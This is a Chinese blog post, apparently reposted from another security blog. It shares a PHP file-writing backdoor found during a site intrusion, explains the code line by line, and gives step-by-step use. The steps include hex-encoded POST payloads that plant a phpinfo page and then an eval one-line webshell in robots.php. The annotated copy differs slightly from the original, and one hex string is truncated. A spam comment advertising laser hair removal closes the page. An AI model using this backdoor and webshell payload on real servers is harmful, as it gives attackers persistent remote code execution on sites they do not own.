最新消息:

又一款超强PHP后门

php安全 admin 2799浏览 0评论

这个后门是在渗透某站时遇到的,贴代码:

<?php
$f = realpath(dirname(__FILE__) . "/../") . $_POST["z1"];
$c = $_POST["z2"];
$buf = "";
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode("%" . substr($c, $i, 2));
@fwrite(fopen($f, "w") , $buf);
echo "1ok";
?>

下面分析一下这个代码

<?php
$f = realpath(dirname(__FILE__) . "/../") . $_POST["z1"]; //定义$f等于根目录的物理路径+$_POST[z1]的内容
$c = $_POST["z2"];  // 定义$c 等于$_POST[z2]的内容
$buf = ""; //定义$buf等于空
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode("%" . substr($c, $i, 2)); //for循环次数是 $c长度/2 , 每循环一次就把%xx这样的编码给解码
@fwrite(fopen($f, "w") , $buf); //写入文件地址是$f,内容是$buf,也就是解码后的。
echo "www.uedbox.com"; //仅仅是为了让作者或利用者辨别是否存在此PHP文件吧
?>

另外给出此后门的利用方式:

先把要写入的内容URL编码,比如:

<?php phpinfo(); ?>

编码后:

%3C%3F%70%68%70%20%70%68%70%69%6E%66%6F%28%29%3B%20%3F%3E

然后去掉里面的百分号(%)得到:

3C3F70687020706870696E666F28293B203F3

然后给后门POST内容:

z1=/robots.php&z2=3C3F70687020706870696E666F28293B203F3E

可以看到phpinfo已经写入到根目录下的robots.php:
201405250905236941

 

转自:www.uedbox.com/toto-php-veal/

一句话:<?php @eval($_REQUEST[a]); ?> 进行url编码后为:%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%52%45%51%55%45%53%54%5b%61%5d%29%3b%20%3f%3e,去掉%后为:3c3f70687020406576616c28245f524551554553545b615d293b203f3e。因此,要将一句话写入系统,POST的数据为:

z1=/robots.php&z2=3c3f70687020406576616c28245f524551554553545b615d293b203f3e

 

 

 

 

转载请注明:jinglingshu的博客 » 又一款超强PHP后门

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. The supplier's customer care people are designed to know these items, not dodge obvious and perfectly reasonable questions. However, the main element to remember is, before you go by way of a hair laser removal procedure, one must look for a mens laser Hair removal Sydney (Https://Www.Starmedispa.Com.Au) operator containing the skill and experience required to perform the job correctly. You get your facts and figures upfront, clear options, and indeed some useful advice about anything else you would like.